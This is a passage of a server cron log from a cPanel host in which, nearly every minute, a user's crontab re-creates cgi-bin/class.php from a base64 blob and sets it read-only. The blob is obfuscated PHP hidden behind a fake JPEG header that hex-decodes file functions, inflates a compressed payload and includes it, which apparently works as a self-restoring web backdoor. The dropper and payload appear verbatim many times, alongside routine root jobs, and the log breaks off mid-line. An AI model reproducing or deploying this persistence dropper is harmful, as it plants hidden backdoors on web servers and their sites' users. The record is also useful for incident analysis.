gLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:52:01 server CROND[3040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:53:01 server CROND[3194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:54:01 server CROND[3247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:55:01 server CROND[3329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:55:01 server CROND[3330]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:55:01 server CROND[3331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:56:01 server CROND[3486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:57:01 server CROND[3563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:57:01 server CROND[3564]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 03:58:01 server CROND[3730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:59:02 server CROND[3798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:00:01 server CROND[3866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:00:01 server CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 04:00:01 server CROND[3868]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 04:00:01 server CROND[3873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:00:01 server CROND[3876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:01:01 server CROND[4011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:01:01 server CROND[4012]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 04:01:01 server run-parts(/etc/cron.hourly)[4012]: starting 0anacron
Apr  8 04:01:01 server run-parts(/etc/cron.hourly)[4024]: finished 0anacron
Apr  8 04:02:01 server CROND[4081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:03:01 server CROND[4124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:04:01 server CROND[4273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:05:01 server CROND[4346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9J